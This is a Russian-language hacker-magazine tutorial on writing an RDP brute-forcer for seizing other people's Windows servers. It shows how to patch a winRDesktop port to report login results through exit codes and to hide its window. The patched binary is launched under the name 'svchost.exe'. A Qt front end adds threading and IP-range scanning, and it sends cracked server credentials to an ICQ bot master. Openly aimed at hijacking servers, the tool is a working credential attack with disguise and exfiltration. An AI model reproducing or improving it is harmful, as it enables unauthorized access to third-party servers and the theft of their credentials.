Содержание статьи
В наши дни только ленивый не пробовал брутить дедики - благо, тулз для этого
дела написано предостаточно. Наиболее известны tss-brute от metal и
ActiveX-based брутфорсы, начало эволюции которых положили мы с Dizz’ом в прошлом
году. Все остальные брутфорсы базируются на этих двух - являясь фронт-эндами
tss-brute (RDP Brute by Dizz) или клонами моего R&D P Brute. В этом году я нашел
новый способ угона серверов на Windows. Хочешь узнать, как - читай дальше!
Существующие решения
Казалось бы, все хорошо - уйма брутфорсов, выбирай-не хочу, но все они не
лишены недостатков.
- Брутфорс от metal’a - один большой "костыль" (хотя автору громадный
респект за проделанную работу). Пароль в нем вводится путем эмуляции нажатий
на кнопки, к тому же он зависит от версии mstsc.exe. - ActiveX-based брутфорсы характеризуются самим словом "ActiveX" - эта
технология ну никак не подходит для создания подобного софта. Брутфорс -
опять же костыль на костыле, например, чтобы нормально подбирался пароль,
приходится создавать n объектов на форме, где n равно количеству потоков.
Причем делать объекты невидимыми нельзя - тогда подбор пароля перестает
работать (чтобы окошечки не было видно, их приходится прятать за границы
формы!). Еще один, самый большой минус - он ни в какую не хочет работать на
Windows Server 2003, а ведь большинство дедиков работает именно на этой ОС.
Итак, сегодня я расскажу тебе, как мне удалось написать брутфорс, который
работает на любой ОС семейства Windows NT, при этом не используя никаких внешних
компонентов - фактически работая прямо с протоколом RDP версии 5!
Разбор полетов
Осенью 2009 года я серьезно задумался над написанием нового брутфорса. Я
начал искать документацию по протоколу RDP, и, само собой, ничего не нашел. И
тогда я вспомнил, что существует такой проект, как rdesktop - RDP-клиент под
никсы, работающий с X-сервером и умеющий автоматически вводить логин и пароль. Я
скачал исходники и принялся их изучать. Взять и просто скопировать несколько
функций невозможно из-за своеобразной структуры программы, поэтому я решил
переписать их в нужном мне виде. Потратив примерно неделю, я забил на это дело.
Через некоторое время один мой иностранный знакомый, заинтересованный в
написании мною хорошего брутфорса, скинул мне интересную информацию - патч,
превращающий rdesktop в брутфорс. Вроде бы, вот оно, счастье, да не тут-то было!
Брут получался однопоточным, по списку паролей, и работал он только под линуксом,
что нас совсем не устраивало. В очередной раз на проект было забито. Спустя
несколько месяцев я наткнулся на pudn.com на winRDesktop - порт rdesktop’a на
Windows, в виде проекта для MS Visual Studio. Это было именно то, что мне нужно,
и я принялся за превращение безобидной софтинки в убойный брутфорс.
Для начала нам необходимо определиться, как именно будет выглядеть наша прога.
Рассмотрев множество вариантов, я остановился на одном - брутфорс состоит из
двух частей:
- Модифицированный winrdesktop, которому передаются логин, пароль и IP
сервера. Он пытается залогиниться и возвращает результат. - GUI - фронт-энд, который управляет всем этим добром: вводит
многопоточность, позволяет сканировать диапазоны IP, обеспечивает работу
ICQ-бота. GUI будет написан на C++ с фреймворком Qt.
Наверное, у тебя возник вопрос по поводу бота - а как же мы реализуем его,
если реально рабочие компоненты для ICQ есть только под Delphi/BCB? Открою
небольшой секрет - существует Qt-класс QOSCAR для работы с ICQ (написанный,
кстати говоря, мною), и находится он на
qoscar.googlecode.com.
В этой статье не рассматривается написание бота, там все предельно просто, и ты
(я надеюсь) в состоянии разобраться с этим вопросом сам. Все, лирическое
отступление в сторону, начинаем кодить!
Developers, developers, developers!
Для начала мне потребовалось найти исходники WinRDesktop’a. Задача была не из
легких, и я убил полдня, чтобы разобраться, как же скачать их с одного "PUDN".
Далее я нашел патч, превращающий Rdesktop в брутфорс. Но у нас-то не Rdesktop!
Не беда - пропатчим софтинку руками. Запускаем Visual Studio 2008 (пойдет и VC++
2008 Express, но Professional имеет более крутой компилятор, поэтому советую
использовать именно его, тем более, если ты студент - можешь получить его
бесплатно по DreamsPark), и открываем наш проект. Проект изначально предназначен
для VC 9, поэтому без плясок с бубном в версиях моложе VS2008 он не заработает.
Сначала добавим несколько констант в файл rdesktop.h, которые помогут
программе распознавать результат ввода пароля. Кстати говоря, в патче есть
функция брутфорса серверов под Win 2k, но он использует четвертую версию
протокола, которая не поддерживает автологин, поэтому пасс вбивается эмуляцией
кнопок. Нас такое не устраивает, так что Win 2000 мы поддерживать не будем.
Как же работает распознавание? Очень просто - пришедший клиенту пакет
побайтово сравнивается с некоторыми сигнатурами, и на основании этих сигнатур
делается вывод об успехе/неудаче при подборе пароля. Например, #define
означает, что пароль был введен
LOGON_AUTH_FAILED"\xfe\x00\x00"
неправильно. Остальные константы ты можешь подглядеть в коде. Значение констант
должно быть понятно из названия. Если нет, то зачем ты это читаешь? 🙂
Далее мы патчим процедурку process_text2() из файла orders.c. В ней-то и
происходит распознавание результата ввода пароля. Хотя, на самом деле, не только
в ней - зачастую при успешном логине сервер присылает пакет с сообщением об этом
- PDU_LOGON.
Посмотрим код:
Кусок process_text2()
if (!memcmp(os->text, LOGON_AUTH_FAILED, 3))
ExitProcess(2);
if((!memcmp(os->text, LOGON_MESSAGE_FAILED_XP, 18)) || (!memcmp(os->text,LOGON_MESSAGE_FAILED_2K3, 18)))
ExitProcess(3);
Этот код нужно вставлять в самом начале процедуры.
Поясню его действие.
рrocess_text2() обрабатывает пакет, в котором приходит текст от сервера (что
очевидно из его названия), в нем мы сравниваем полученный текст с некоторыми
заранее известными последовательностями при logon’e. Последний шаг - открываем
rdp.c и ищем процедуру process_data_pdu(). В ней нас интересует кусок кода,
начинающийся с "case RDP_DATA_PDU_LOGON:". Просто вставляем ExitProcess(4) после
нее. Зачем нам нужен ExitProcess() - читай далее.
Так, с корректировкой winRdesktop’a мы с тобой разобрались. Если ты думаешь,
что самое сложное позади - ты глубоко заблуждаешься. Самое сложное еще впереди.
Первая проблема, с которой мне пришлось столкнуться - это появление окна
приложения при запуске. Нам оно не нужно, поэтому смело делаем ShowWindow с
параметром SW_HIDE.
Вторая проблема - как же брутфорсу общаться с внешним миром, как он будет
сообщать нам о результате проверки? Printf() и прочее не работают, в файл писать
- это не круто. Наиболее простой и в то же время надежный метод - завершать
приложение с разными ExitCode’ами. Например, ExitProcess(4) будет вызываться при
правильном пароле, ExitProcess(2) - при неправильном, а ExitProcess(3) - при
неудачной попытке подключения. Сказано - сделано (результат ты можешь увидеть в
process_text2() на врезке).
Третья проблема, ее мне так и не удалось решить - нефиговое потребление
ресурсов. Забегая вперед, скажу, что 30 потоков грузят на 100% процессор моего
MSI Wind u90. Связано это с распаковкой битмэпов (RDP-сервер сильно сжимает
картинки). Я вырезал все (на мой взгляд) ненужные куски кода с распаковкой и
рисованием на форме (зачем рисовать на форме, если мы ее не видим?), что
позволило немного снизить ресурсопотребление, но проблему это все равно не
решило. Если ты - крутой кодер на С, и тебе удастся снизить аппетит
распаковщика, не забудь сообщить мне об этом :).
Четвертая, и последняя, проблема - отсутствие каких-либо символов, кроме
английского алфавита и цифр. Научить брутфорс понимать кириллицу мне так и не
удалось, хотя, может быть, оно и к лучшему - брутить русские сервера не стоит
:).
Бруту - гуй!
В принципе, брутфорс уже готов, но он однопоточный - так же, как и брут от
metal’a. Можно, конечно, писать батники для запуска брута, но мы же крутые
хакеры, мы хотим брутить дедики десятками в день, и поэтому выход у нас один -
написание фронт-энда. В качестве инструмента я выбрал… нет, не модный ныне C#, а
свой любимый (и гораздо более перспективный, на мой взгляд) Qt Framework. В ][
уже не раз писали о нем, поэтому не вижу смысла описывать все его достоинства.
Далее я подразумеваю, что ты уже умеешь работать с этим фреймворком. Если нет -
советую почитать официальную документацию Qt на
qt.nokia.com и в обязательном
порядке - книгу Саммерфилда и Бланшета (работники Qt Software, один из них как
раз занимается документацией, так что книжка шикарна).
Запускаем Qt Creator (советую использовать snapshot’ы - они не более глючные,
чем stable-версии, но более удобные, и содержат все грядущие нововведения).
Итак, создаем новый GUI-проект с одним виджетом. Дизайн - личное дело каждого,
на скриншоте ты можешь увидеть то. что получилось у меня.
Для начала - набросаем небольшой план.
- Главный поток запускает вспомогательный поток.
- Вспомогательный поток запускает .exe-шник, который мы написали ранее, и
ждет результата. - Когда выполнение брутфорса заканчивается, поток испускает сигнал,
который обрабатывается главным потоком, берет следующие логин и пароль, и
переходит к шагу 2.
Для вспомогательных потоков я написал класс BruteThread, который, по сути, не
является потоком, поскольку не наследуется от QThread, но использует только
асинхронные методы для выполнения действий, занимающих продолжительное время.
BruteThread занимается запуском нашего модифицированного winRDesktop’a с помощью
объекта process класса QProcess. Класс QProcess создан для запуска внешних
приложений, и может запускать приложение, направлять его вывод в консоль (то,
что выводится через printf или cout, например), отслеживать изменение состояния
и завершение процесса. Нас интересуют только запуск и завершение приложения -
если происходит одно из этих событий, испускаются сигналы void started() и void
finished(int exitCode) соответственно. Обрати внимание на последний сигнал - в
нем в качестве параметра передается код, с которым приложение было завершено - и
этот параметр нам очень сильно пригодится. Обрабатывать мы будем только второй
сигнал, и код слота ты можешь увидеть на врезке "Сигнал onFinished()". В нем
поток испускает соответствующие сигналы, и переходит к следующей комбинации
логин;пароль.
Сам запуск процесса выглядит вот так:
Запуск процесса брута
QStringList slArgs;
slArgs << "-u" << slLogins.at(iCurrentLogin) << "-p" << slPasswords.at(iCurrentPassword)
<< sServer;
process.start("svchost.exe", slArgs);
iCurrentPassword++;
Как видишь, аргументы процессу передаются в QStringList, что очень удобно :).
Ну и, конечно же, не забудь в конструкторе класса сразу присоединить сигнал к
слоту:
QObject::connect(&process, SIGNAL(finished(int)), this, SLOT(onFinished(int)));
Вот так выглядит слот главного потока, обрабатывающий результаты:
Обрабатываем результаты в главном потоке
if ( iResult == 0 )
{
iGood++;
iChecked++;
writeResult(QString("%1:%2;%3").arg(sServer).arg(sUser).arg(sPassword), "good.txt");
oscar.sendMessage(settings.botMaster(), QString("%1:%2;%3").arg(sServer).arg(sUser).arg(sPassword));
if ( trayIcon.isVisible() )
trayIcon.showMessage("Good", QString("%1:%2;%3").arg(sServer).arg(sUser).arg(sPassword));
}
else
if ( iResult == -1 )
{
iBad++;
iChecked++;
}
Done!
Вот и все! Остальное ты должен доделать сам, а если не сможешь - смело гляди
в мои исходники на диске. Только не надейся, что сможешь открыть проект,
поменять названия кнопочек и заработать на Хаммер, продавая новый брут - в нем
есть несколько элементарных уловок, и, если ты скрипт-кидди, то скомпилить
проект у тебя не получится. Ну, а если умеешь хотя бы базово работать с С, то, я
думаю, проблем оно тебе не доставит :).
К данному решению я пришел после массовой перекомпиляции моего R&D P Brute,
после выкладывания его исходников, школотой (не путать со школьниками!), которые
при малейших проблемах совершали действия сексуального характера с моим мозгом
("А у меня не та версия mstscax.dll, что делать??", "А что значит ShowMessage()???").
Один из индивидуумов, кстати, сам признался, что brain.dll и hands.lib у него
отсутствуют (спасибо sslBot за лог, поржал от души). Ну, да мы отвлеклись.
Итого у нас остались нерешенными две проблемы, устранение которых я поручаю
тебе:
- Потребление ресурсов.
- Поддержка кириллицы (чисто спортивный интерес, еще раз повторяю - не
бруть русские сервера).
На этом позволь откланяться. Удачного кодинга!
Благодарности
Хотелось бы поблагодарить следующих людей за помощь, оказанную при
написании брута:
- metal aka DeX - за помощь с C/C++, да и вообще прекрасный человек,
помогал всегда!- fry - за помощь с протоколом OSCAR
- мемберов forum.asechka.ru - за тестирование и поддержку.
А также:
- xo0x.art, vitalikis
- Максима Sundagy Блиненкова - за С/C++
- Варвару "Miracle" Ячменева - за моральную поддержку 🙂
- Ну и, конечно же, своих родителей 🙂
Сигнал onFinished()
if ( exitCode > 666 )
{
emit onServerResult(sServer,
slLogins.at(iCurrentLogin),
slPasswords.at(iCurrentPassword-1),
exitCode);
emit onDoneServer(this);
return;
}
switch ( exitCode )
{
case 666: // Ошибка
emit onDoneServer(this);
return;
case 0: // Фиг знает
emit onServerResult(sServer,
slLogins.at(iCurrentLogin),
slPasswords.at(iCurrentPassword-1),
true);
if ( bSkipZero )
{
emit onDoneServer(this);
return;
}
break;
case 4: // Гуд!
emit onServerResult(sServer,
slLogins.at(iCurrentLogin),
slPasswords.at(iCurrentPassword-1),
0);
emit onDoneServer(this);
return;
case 5: // Тоже Гуд
emit onServerResult(sServer,
slLogins.at(iCurrentLogin),
slPasswords.at(iCurrentPassword-1),
0);
emit onDoneServer(this);
return;
default: // Бэд
emit onServerResult(sServer,
slLogins.at(iCurrentLogin),
slPasswords.at(iCurrentPassword-1),
-1);
break;
}
nextPassword();